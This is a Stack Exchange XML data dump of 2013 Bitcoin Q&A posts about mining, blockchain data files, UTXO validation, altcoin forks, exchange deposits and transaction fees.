  <row Id="11096" PostTypeId="2" ParentId="11095" CreationDate="2013-05-21T16:39:45.640" Score="3" Body="&lt;p&gt;Slush on December 16th 2010&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mining.bitcoin.cz&quot; rel=&quot;nofollow&quot;&gt;http://mining.bitcoin.cz&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/History&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/History&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was that what you were looking for?&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-05-21T16:39:45.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11097" PostTypeId="2" ParentId="11094" CreationDate="2013-05-21T17:22:19.997" Score="6" Body="&lt;p&gt;The hardest possible target is all zeros plus a one (&lt;code&gt;0000000...1&lt;/code&gt;). If such a block were ever mined (which is extremely unlikely: on average you'd need 2^255 hashes per 10 minutes, which is 9.6e73 hashes per second), it would definitely crash the network : there can only be one hash at that difficulty, which means that there can only be one block mined at that difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if the target is zero, no block can be mined at all.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-05-21T17:22:19.997" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11098" PostTypeId="5" CreationDate="2013-05-21T19:05:18.370" Score="0" Body="&lt;p&gt;GitHub repository: &lt;a href=&quot;https://github.com/bitcoinjs/bitcoinjs-lib&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoinjs/bitcoinjs-lib&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="121614" LastEditDate="2023-07-20T14:34:17.270" LastActivityDate="2023-07-20T14:34:17.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="11099" PostTypeId="4" CreationDate="2013-05-21T19:05:18.370" Score="0" Body="BitcoinJS (bitcoinjs-lib) is JavaScript Bitcoin library." OwnerUserId="2306" LastEditorUserId="121614" LastEditDate="2023-07-20T14:34:17.270" LastActivityDate="2023-07-20T14:34:17.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="11100" PostTypeId="1" AcceptedAnswerId="11109" CreationDate="2013-05-21T19:10:57.077" Score="5" ViewCount="1510" Body="&lt;p&gt;Running a miner node, one would have to verify transactions. This includes checking all the inputs of all the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean that a miner must hold all the block-chain in memory (currently about 8.7 GB)? If not, how can a miner find previous transaction (a transaction input does not have an indication to the block containing it)?&lt;/p&gt;&#xA;" OwnerUserId="4783" LastEditorUserId="5406" LastEditDate="2016-03-16T11:05:52.167" LastActivityDate="2016-03-16T11:05:52.167" Title="Do miners have to hold all the blocks in memory?" Tags="|transaction-verification|utxo|mining-technical-details|mempool|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11101" PostTypeId="2" ParentId="10239" CreationDate="2013-05-21T19:11:20.560" Score="3" Body="&lt;p&gt;Bitcoin mining is principally an integer maths task, not a graphics task.  It just so happens that the hundreds of processors found on modern graphics cards can sometimes be suitable for parallel calculation of the bitcoin task, at upwards of a hundred times the best available rate from four cpu calculations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See wiki reports on bitcoin hardware for comparison figures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately for you, Intel copied some parts of modern GPU designs into their system on a chip, but to save money they left out some transistors here and there which might not get used in direct X 11 graphics but would be necessary for parallel calculations for bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you have on-chip graphics suitable for screen display and a few other specifically graphics tasks, but you do not have a general purpose massively parallel GPU for bitcoin calculations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error message &quot;clDevicesNum returned error, no GPUs usable&quot; appears on one of my systems which does have a suitable graphics card for bitcoin mining and does find openCL drivers for it when configured before compile.  I'm trying to find out what is incorrect in my configuration. &lt;/p&gt;&#xA;" OwnerUserId="5155" LastActivityDate="2013-05-21T19:11:20.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11102" PostTypeId="2" ParentId="11100" CreationDate="2013-05-21T19:30:04.357" Score="2" Body="&lt;p&gt;You can search through a file on disk, it's just slower. However, whether it's in memory or on disk isn't as important as whether it's indexed. There is a list of transaction id's (aka: txid) and their corresponding block numbers, called the &lt;em&gt;unspent transaction output database&lt;/em&gt;. It's not in the blockchain because it doesn't need to be - every node can come up with it individually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why transaction inputs don't have the block that contained them is that there might be a block reorganization, putting transactions in different blocks, and you want other transactions that depend on those to still be valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside of indexes is that they take up space. This is one of those space-vs-time tradeoffs you have to make.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-05-21T19:30:04.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11103" PostTypeId="2" ParentId="11100" CreationDate="2013-05-21T19:32:57.517" Score="0" Body="&lt;p&gt;Miners do not operate on the whole blockchain; only a part of it.  The whole chain is known to have been verified, and not all by one miner.  This distributed responsibility removes all possibility of a single computer getting burgled or nuked from making much of a difference to the rest of the bitcoin network.&lt;/p&gt;&#xA;" OwnerUserId="5155" LastActivityDate="2013-05-21T19:32:57.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11104" PostTypeId="1" AcceptedAnswerId="11108" CreationDate="2013-05-21T19:54:48.360" Score="33" ViewCount="12355" Body="&lt;p&gt;I see the block chain is stored according to the block chain format specification.  But I also see there is a database, which is currently a leveldb database.  Why is the block chain stored in two different ways?  Seems redundant.&lt;/p&gt;&#xA;" OwnerUserId="4759" LastActivityDate="2019-03-14T16:37:13.530" Title="What is the database for?" Tags="|blockchain|database|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11105" PostTypeId="2" ParentId="10057" CreationDate="2013-05-21T19:55:01.670" Score="4" Body="&lt;p&gt;It's due to miss-sync of bitcoind in my case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just wait the bitcoind sync with the bitcoin network (9GB actually), and after you can use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;du -ksh ~/.bitcoin/&lt;/code&gt; will give the size.&lt;/p&gt;&#xA;" OwnerUserId="5156" LastEditorUserId="196" LastEditDate="2013-05-21T20:54:59.083" LastActivityDate="2013-05-21T20:54:59.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11106" PostTypeId="2" ParentId="11087" CreationDate="2013-05-21T19:58:22.493" Score="-1" Body="&lt;p&gt;Replace the workerName with a worker name for your account&lt;/p&gt;&#xA;" OwnerUserId="5156" LastEditorUserId="516" LastEditDate="2013-05-25T07:59:52.617" LastActivityDate="2013-05-25T07:59:52.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11107" PostTypeId="2" ParentId="11029" CreationDate="2013-05-21T20:04:41.517" Score="-1" Body="&lt;p&gt;You can use adsl to sync your client, and use the 4G connection later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or get the &lt;code&gt;~/.bitcoin/&lt;/code&gt; folder from a sync client.&lt;/p&gt;&#xA;" OwnerUserId="5156" LastEditorUserId="5156" LastEditDate="2013-08-20T08:36:17.397" LastActivityDate="2013-08-20T08:36:17.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11108" PostTypeId="2" ParentId="11104" CreationDate="2013-05-21T20:31:32.560" Score="57" Body="&lt;p&gt;There are basically four pieces of data that are maintained:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;blocks/blk*.dat&lt;/code&gt;: the actual Bitcoin blocks, in network format, dumped in raw on disk. They are only needed for rescanning missing transactions in a wallet, reorganizing to a different part of the chain, and serving the block data to other nodes that are synchronizing.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;blocks/index/*&lt;/code&gt;: this is a LevelDB database that contains metadata about all known blocks, and where to find them on disk. Without this, finding a block would be very slow.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;chainstate/*&lt;/code&gt;: this is a LevelDB database with a compact representation of all currently unspent transaction outputs and some metadata about the transactions they are from. The data here is necessary for validating new incoming blocks and transactions. It can theoretically be rebuilt from the block data (see the &lt;code&gt;-reindex&lt;/code&gt; command line option), but this takes a rather long time. Without it, you could still theoretically do validation indeed, but it would mean a full scan through the blocks (207 GB as of march 2019 - &lt;a href=&quot;https://www.blockchain.com/charts/blocks-size&quot; rel=&quot;noreferrer&quot;&gt;https://www.blockchain.com/charts/blocks-size&lt;/a&gt;) for every output being spent.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;blocks/rev*.dat&lt;/code&gt;: these contain &quot;undo&quot; data. You can see blocks as 'patches' to the chain state (they consume some unspent outputs, and produce new ones), and see the undo data as reverse patches. They are necessary for rolling back the chainstate, which is necessary in case of reorganisations.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So yes, everything but the block data itself is indeed redundant, as it can be rebuilt from it. But validation and other operations would become intolerably slow without them.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="92945" LastEditDate="2019-03-14T16:37:13.530" LastActivityDate="2019-03-14T16:37:13.530" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="11109" PostTypeId="2" ParentId="11100" CreationDate="2013-05-21T20:40:52.487" Score="7" Body="&lt;p&gt;No, miners do not need the entire block chain to be accessible. Technically, they don't even need it at all. The blocks themself are only needed for rescanning wallets, reorganisations, and serving blocks to other nodes. That is why pruning them away will likely become viable in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need for validating blocks and transactions (a fundamental demand from miners), is the database of unspent transaction outputs. 0.8+ clients maintain this database explicitly in a compact form (around 200 MB now, as of May 2013).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to that, a miner needs to maintain a memory pool: a set of transactions that are validated against the current best chain, to choose transactions for the next candidate block from.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-05-21T20:40:52.487" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11110" PostTypeId="2" ParentId="2746" CreationDate="2013-05-22T04:50:49.283" Score="0" Body="&lt;p&gt;Check out &lt;a href=&quot;http://ecardone.com&quot; rel=&quot;nofollow&quot;&gt;Ecardone.com&lt;/a&gt; &#xA;more info &lt;a href=&quot;http://ecardone.com/prepaid-card/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. They offer a prepaid MasterCard debit card that can be loaded with Bitcoin for $3 plus 2%. You also need to buy Bitcoins through their exchange, which costs you an additional 3% or so.&lt;/p&gt;&#xA;" OwnerUserId="5159" LastEditorUserId="2306" LastEditDate="2013-05-25T03:07:40.093" LastActivityDate="2013-05-25T03:07:40.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11111" PostTypeId="2" ParentId="11087" CreationDate="2013-05-22T07:55:08.080" Score="0" Body="&lt;p&gt;I'm the author of this question and it worked when I tried again next day.&lt;/p&gt;&#xA;" OwnerUserId="2552" LastEditorUserId="2552" LastEditDate="2013-05-22T17:06:39.673" LastActivityDate="2013-05-22T17:06:39.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11112" PostTypeId="2" ParentId="10472" CreationDate="2013-05-22T13:45:52.177" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;Butterfly labs was / is a company that aims maximal profits.&lt;/li&gt;&#xA;&lt;li&gt;Guess they source &amp;amp; evaluate all options to make the maximal profit.&lt;/li&gt;&#xA;&lt;li&gt;I know major pool owners who are in direct conversation/collaboration with them, and as im aware they mine asic for a while now.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Just look at this charts &lt;a href=&quot;http://bitcoindifficulty.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoindifficulty.com/&lt;/a&gt; &amp;amp; &lt;a href=&quot;http://blockchain.info/charts/hash-rate&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/charts/hash-rate&lt;/a&gt; , it tells stories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As stated above, butterfly labs has/had all options &amp;amp; time to evaluate the best strategy for maximal profit. Probably they took way more factors into account like bitcoin price, appreciation, acceptance, the option to sell another batch, development process etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And shipping asics is not same as shipping asics, they had all time to evaluate WHO to ship to depending on scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bottom line, its a cashcow money business and they will do anything to maximize profits either way.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2013-05-22T13:45:52.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11113" PostTypeId="1" AcceptedAnswerId="11123" CreationDate="2013-05-22T17:18:11.003" Score="2" ViewCount="741" Body="&lt;p&gt;I know that &lt;a href=&quot;http://www.btcpedia.com/dwolla-halts-mtgox-trading/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dwolla stopped depositing/withdrawing funds in Mt.Gox due to a court order&lt;/a&gt;, but does anyone know if this is still in place?&lt;/p&gt;&#xA;&lt;h3&gt;Related&lt;/h3&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10924/why-cant-dwolla-send-to-mt-gox&quot;&gt;Why can&amp;#39;t Dwolla send to Mt Gox?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-05-25T23:45:02.630" Title="Is Mt.Gox currently accepting Dwolla deposits or withdrawals?" Tags="|mtgox|dwolla|" AnswerCount="1" CommentCount="0" ClosedDate="2013-05-23T05:03:10.307" ContentLicense="CC BY-SA 3.0" />
  <row Id="11114" PostTypeId="2" ParentId="8239" CreationDate="2013-05-22T18:11:46.733" Score="3" Body="&lt;p&gt;The frequency of blocks (2.5 min vs. 10 min) does indeed mean it takes less time to obtain a similar level of security, this is an advantage. The idea that only the total amount of computation matters is a myth - see &lt;a href=&quot;https://bitcoil.co.il/Doublespend.pdf&quot; rel=&quot;nofollow&quot;&gt;https://bitcoil.co.il/Doublespend.pdf&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, there are also disadvantages with the choice of shorter time constant, but it's safe to say that 2.5 min is a better choice than 10 min.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-05-22T18:11:46.733" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11115" PostTypeId="1" AcceptedAnswerId="11144" CreationDate="2013-05-22T18:29:20.097" Score="14" ViewCount="10325" Body="&lt;p&gt;For a person who has different amount of different cryptocurrencies it is actually annoying to use many clients. Right now just Bitcoin data is more than 15 GB, litecoin 1.5 GB and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any wallet which incorporates many wallets? Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2014-01-27T02:17:23.320" Title="Is there a wallet for different cryptocurrencies" Tags="|wallet|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11116" PostTypeId="1" AcceptedAnswerId="11303" CreationDate="2013-05-22T18:31:18.930" Score="10" ViewCount="2678" Body="&lt;p&gt;Bitcointalk member BTCLuke suggested the following six criterion for a P2P Exchange: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A P2P Distributed Exchange MUST:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Be without any central points of failure, since a government or two WILL be coming after it one day. I suggest a Bitorrent-like software schematic.&lt;/li&gt;&#xA;&lt;li&gt;Show everyone a very large number of possible trades to choose from, (thousands?) so assets can form a stable price. (e.g. a Bitcoin is going for $120)&lt;/li&gt;&#xA;&lt;li&gt;Transact trades pretty much INSTANTANEOUSLY, so when you're watching a graph and want to trade at a very specific time you can do so. (This is extremely important for arbitragers and other traders who help keep the price fluctuation down.)&lt;/li&gt;&#xA;&lt;li&gt;Offer Graphs and APIs for for graphing like MtGox does.&lt;/li&gt;&#xA;&lt;li&gt;Have three-user (trustless) trading, so a non-interested 3rd party always hosts the trade between the buyer and seller. (And should provide Escrow too!)&lt;/li&gt;&#xA;&lt;li&gt;Hold and transfer IOUs without the need for trust&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Does there exist a whitepaper or open sourced project that has a solution for all six criterion? Furthermore, who in the community has been working on P2P exchanges and what regulations would impact them?&lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="132" LastEditDate="2013-05-29T16:16:51.380" LastActivityDate="2018-09-06T21:17:59.920" Title="What is the definition of a P2P exchange?" Tags="|exchanges|open-source|" AnswerCount="6" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11117" PostTypeId="1" CreationDate="2013-05-22T18:45:54.843" Score="2" ViewCount="501" Body="&lt;p&gt;Can someone work out the math that occurs with Bitcoin and Litecoin when the target changes to the hard coded minimum and maximum value, with respect to time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, if a lot of hashpower is added to the network and target increases by 4x, that is the upper bound.  How many blocks can be created right before the throttle of 4x is taken by the network?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to calculate the affect throttling has on the number of blocks generated per hour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What is the average time per block, right before the network adjusts to the 4x limit, when the hash power is added to the network?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I were to guess, right before that 4x limit was reached, 1 block is generated every 2.5 minutes for Bitcoin, and 1 block every 45 seconds for litecoin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore any hashpower added (or removed) beyond the 4x multipler will not cause a network adjustment and infinitely many blocks may be created in that interval.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why I want to know this...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a lot of hashpower is added to the Litecoin network, which already generates blocks (one every 2.5 minutes) then there will be more blocks generated, increasing the risk of a chain split.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ultimately want to understand how the chain split will cause wasted computation by peers as their blocks are discarded by the longest chain.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-05-23T11:13:37.007" Title="When a difficulty change reaches the upper or lower bound (4x current), what is the implied impact on time per block?" Tags="|blockchain|bitcoind|litecoin|difficulty|throttling|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11118" PostTypeId="1" AcceptedAnswerId="11126" CreationDate="2013-05-22T19:01:12.090" Score="5" ViewCount="933" Body="&lt;p&gt;I like Bitcoin and I like the ideas to create a limited number of bitcoins. However, I see a lot of new crypto-currencies. It seems anyone could fork bitcoin, change something in the algorithm, and release a new crypto-currency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm afraid that one could create hundreds of new crypto-currencies each day without any value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a plausible scenario?&lt;/p&gt;&#xA;" OwnerUserId="5169" LastEditorUserId="2306" LastEditDate="2013-05-23T02:49:46.117" LastActivityDate="2013-05-23T02:49:46.117" Title="Does Bitcoin have inherent value if you can fork the project and create a new cryptocurrency easily?" Tags="|currencies|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11119" PostTypeId="2" ParentId="11118" CreationDate="2013-05-22T19:11:04.143" Score="4" Body="&lt;p&gt;There are hundreds of chemical elements, but that didn't stop gold from becoming valuable. It's all about people's willingness to trade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, you wouldn't really have to change the Bitcoin algorithm. Just run Bitcoin as-is on a distinct network with a brand-new block-chain, and you have a new digital currency. But if you can't convince anyone else to join your new network, you're just wasting your time.&lt;/p&gt;&#xA;" OwnerUserId="5168" LastActivityDate="2013-05-22T19:11:04.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11120" PostTypeId="1" AcceptedAnswerId="11122" CreationDate="2013-05-22T19:26:27.570" Score="1" ViewCount="208" Body="&lt;p&gt;The blkXXXXX.dat files in the new Bitcoin-Qt client (v0.8.1) are about 130MB each in size, while the old ones are about 1.9GB in size each. Does anyone know the motivation behind this change?&lt;/p&gt;&#xA;" OwnerUserId="675" LastEditorUserId="675" LastEditDate="2013-08-08T23:25:50.287" LastActivityDate="2013-08-08T23:38:40.733" Title="The change to the size of blockchain data files" Tags="|blockchain|raw-data|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11121" PostTypeId="1" CreationDate="2013-05-22T19:31:51.133" Score="2" ViewCount="229" Body="&lt;p&gt;My understanding is that ownership of ASICMINER shares (direct ownership, that is; not passthroughs) is recorded somehow in the blockchain, itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does that work, exactly?  How can I confirm that a person claiming to have 300 shares available for sale actually owns 300 (or more) shares?   I also see people saying they &quot;received their satoshis transaction&quot; (in addition to their dividends payment).  I suspect that is somehow related, but that can hopefully be clarified in an answer as well.&lt;/p&gt;&#xA;" OwnerUserId="326" LastActivityDate="2013-05-24T07:47:20.960" Title="How does ASICMINER use the blockchain to record share ownership?" Tags="|transactions|blockchain|investing|asic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11122" PostTypeId="2" ParentId="11120" CreationDate="2013-05-22T21:38:24.183" Score="2" Body="&lt;p&gt;The reason is future pruning functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pruning will be implemented by simply deleting files (and related metadata in index databases) with only old blocks in them. Having smaller files means higher granularity in choosing what to keep or not.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-05-22T21:38:24.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11123" PostTypeId="2" ParentId="11113" CreationDate="2013-05-22T21:59:50.223" Score="3" Body="&lt;p&gt;As of this writing, Dwolla is not sending money to MtGox&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is verified by accessing &lt;a href=&quot;https://www.dwolla.com/hub/812-649-1010?&quot; rel=&quot;nofollow&quot;&gt;their deposit link here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2013-05-25T23:45:02.630" LastActivityDate="2013-05-25T23:45:02.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11124" PostTypeId="2" ParentId="10472" CreationDate="2013-05-22T23:52:58.700" Score="0" Body="&lt;p&gt;They do mine. Hashrates tripled during the last four months, and so did the difficulty. While this tendency continues, the difficulty will keep on rising. When you get your ASIC device from them, you are only able to mine $10 with two Jalapenos in one month. No sooner, no later. &lt;/p&gt;&#xA;" OwnerUserId="5174" LastEditorDisplayName="user3930" LastEditDate="2013-07-25T20:27:30.907" LastActivityDate="2013-07-25T20:27:30.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11125" PostTypeId="1" CreationDate="2013-05-22T23:53:41.293" Score="2" ViewCount="186" Body="&lt;p&gt;I have a new question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the max settings for &lt;code&gt;rpc.target.bits&lt;/code&gt; 20? I want to match this with our stratum mining software, and how many shares we're getting.&#xA;Right now, pushpool is getting more shares (100 more over 2000 total). I tried setting difficulty to 21, but then i only got half of what stratum gave me...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the real question here is... How to optimize? How to fix so it's as closely to Stratum's difficulty as possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4867" LastActivityDate="2013-05-22T23:53:41.293" Title="rpc.target.bits management?" Tags="|mining-pools|litecoin|pushpool|stratum|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T20:52:44.200" ContentLicense="CC BY-SA 3.0" />
  <row Id="11126" PostTypeId="2" ParentId="11118" CreationDate="2013-05-23T00:01:40.573" Score="6" Body="&lt;p&gt;Yes, this is a real possibility. Effectively, Satoshi Nakamoto created a billion dollar market-capitalization of currency out of thin-air. Of course major corporations are going to attempt their own flavor, it is the nature of capitalism and it is a very healthy reality, which ultimately ends with a satisfied consumer. Progressive companies are forking it, prototyping new designs, and adding improvements. In the end, the quality, scale and technical effectiveness of your product will create the market-demand absent of billion dollar promotional marketing campaigns. BTC is a purely organic, community driven crypto-currency which sells it self. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, the infancy of BTC is very analogous to early 20th century automobile manufacturing. There were hundreds of car companies created in the US only of which 3 major manufacturers survived (Ford, GM, Chrysler). Analogous  to the rise of a myriad of crypto-currencies each of which claims to be better than the previous. How could you trust these crypto-currencies...? That is an unanswerable question which only the market will decide in the coming years. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTC is the first and most secure crypto-currency; its design and function are superior to many  other proprietary builds. &lt;/p&gt;&#xA;" OwnerUserId="5079" LastActivityDate="2013-05-23T00:01:40.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11129" PostTypeId="2" ParentId="11118" CreationDate="2013-05-23T02:46:11.060" Score="3" Body="&lt;p&gt;In a free market economy, the consumers will chaotically and naturally choose the best product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those who think they can create a digital cryptocurrency &quot;better&quot; than Bitcoin - however they define &quot;better&quot; - are more than welcome to do so and try to convince others of their reasoning. If the reasoning is sound and people like it, the market will reward the founder with use of their currency!&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-05-23T02:46:11.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11131" PostTypeId="1" CreationDate="2013-05-23T03:25:57.087" Score="4" ViewCount="909" Body="&lt;p&gt;In Deepbit I've mined a fraction of a Bitcoin. How do I get the money into my wallet? &lt;a href=&quot;https://deepbit.net/payments&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; it says &quot;Instant payout button is shown when your balance is at least 0.01 BTC and you received less than 3 payments in last 24 hours.&quot; does this mean I have to wait until I have mad 0.01BTC?&lt;/p&gt;&#xA;" OwnerUserId="2552" LastActivityDate="2013-06-24T15:06:16.597" Title="In Deepbit how do you get the Bitcoins transfered to your wallet?" Tags="|transactions|wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11134" PostTypeId="1" CreationDate="2013-05-23T06:38:35.507" Score="9" ViewCount="1410" Body="&lt;p&gt;I have about 0.027 BTC total, spread over 272 transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was going to send them to someone, and then the transaction fees hit me:  0.0245 BTC.  This agrees with the answer to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1195/how-to-calculate-transaction-size-before-sending&quot;&gt;this question&lt;/a&gt; -- (272 txns * 180 bytes each is 49 kBytes, or 0.0005 BTC per transaction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I found out about the &lt;a href=&quot;https://en.bitcoin.it/wiki/Free_transaction_relay_policy#See_Also&quot; rel=&quot;nofollow noreferrer&quot;&gt;free transaction relay policy&lt;/a&gt; here, which looks like it will bring things down to a more reasonable 0.004 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not understanding the mechanics of setting this up, though.  I can probably figure out how to do the following for the Eligius miner (I'm using the Bitcoin client with QT 4.8.3):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Add the command-line parameter: -addnode=173.242.112.53&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the rest of the mechanics, I'm not sure.  Specifically:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How do I &quot;broadcast the transaction to it&quot;?  Can I do this within the Bitcoin client?&lt;/li&gt;&#xA;&lt;li&gt;Does the person to whom I'm sending the BTC also need to add this same node?&lt;/li&gt;&#xA;&lt;li&gt;Do I have to specify anything else within the transaction?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My goal would be to empty my wallet of all of these tiny transactions with this reduced fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit1: Is it possible to add node 173.242.112.53 using Electrum or one of the other clients?&lt;/p&gt;&#xA;" OwnerUserId="5179" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2015-05-11T15:25:52.507" Title="How to take advantage of the free transaction relay policy?" Tags="|transactions|transaction-fees|eligius|relay|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
